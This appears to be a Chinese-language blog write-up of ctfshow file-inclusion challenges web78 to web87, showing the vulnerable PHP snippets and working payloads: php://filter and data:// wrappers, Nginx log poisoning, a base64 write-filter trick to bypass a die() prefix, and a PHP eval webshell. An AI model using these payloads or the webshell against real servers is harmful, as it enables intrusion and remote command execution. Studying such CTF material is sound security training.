CTFSHOW-WEB入门-文件包含

web78

①关键代码

if(isset($_GET['file']))
{
    $file = $_GET['file'];
    include($file);
}

②直接文件包含

/?file=php://filter/read=convert.base64-encode/resource=flag.php

web79

①关键代码

if(isset($_GET['file']))
{
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    include($file);
}

②用data伪协议

/?file=data:<span class="hljs-comment">//text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs=
//PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs=    <?php system('cat flag.php');

web80-81(日志文件包含)

①关键代码

if(isset($_GET['file']))
{
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    include($file);
}

②不同系统日志文件路径有所差异

apache一般是/var/log/apache/access.log。:

nginx的log在/var/log/nginx/access.log和/var/log/nginx/error.log

这题日志文件路径为/var/log/nginx/access.log,访问日志文件,并写入命令

要多重发几次,发现fl0g.php文件,然后查看文件

再重发几次,得到flag

web87

①关键代码

if(isset($_GET['file']))
{
    $file = $_GET['file'];
    $content = $_POST['content'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    $file = str_replace(":", "???", $file);
    $file = str_replace(".", "???", $file);
    file_put_contents(urldecode($file), "<?php die('大佬别秀了');?>".$content);
}
    

②这题很显然有文件包含漏洞,总体的思路就是将命令写入content中,然后用php://filter/伪协议进行文件包含,但这题问题就在于在执行content中的代码之前它先执行了die函数,导致程序结束,我们植入的代码执行失败,所以,这题的任务就是使<?php die('大佬别秀了');?>失效。

③这题用base64编码的特性,首先用php://filter/write=convert.base64-decode/resource=123.php进行文件包含,但是要进行两次url编码(因为代码中含有urldecode它解码了一次),之所以用write而不是read,因为我们需要的是写入的权限,两次url编码用在线工具还不行,它只会把特殊字符编码,后来发现url编码实际上就是先转成16进制,然后每两个字符前加一个%,我就先用在线工具转成16进制,再写了个脚本每隔两个字符加一个%,但最后第一个字符前也要记得加上去

import re

text = "253730253638253730253361253266253266253636253639253663253734253635253732253266253737253732253639253734253635253364253633253666253665253736253635253732253734253265253632253631253733253635253336253334253264253634253635253633253666253634253635253266253732253635253733253666253735253732253633253635253364253331253332253333253265253730253638253730"
text_list = re.findall(".{2}", text)
new_text = "%".join(text_list)
print(new_text)

同时要post写入content参数的内容,将<?php @eval($_POST['a']);?>base64加密得到PD9waHAgQGV2YWwoJF9QT1NUWydhJ10pOz8+

因为base64加密时会把无法辨认的字符过滤,所以content前面那串内容就剩phpdie,我们再添两个字符,这样前8个字符凑一组正好一解码就没了,后面一解码就得到了我们传入的木马

接着访问我们传入的123.php文件,并且将命令写入a中使之执行

得到fl0g.php文件,再cat一下,就得到了flag。

 

posted @ 2022-02-07 15:50  Athena-ydy  阅读(761)  评论(0编辑  收藏  举报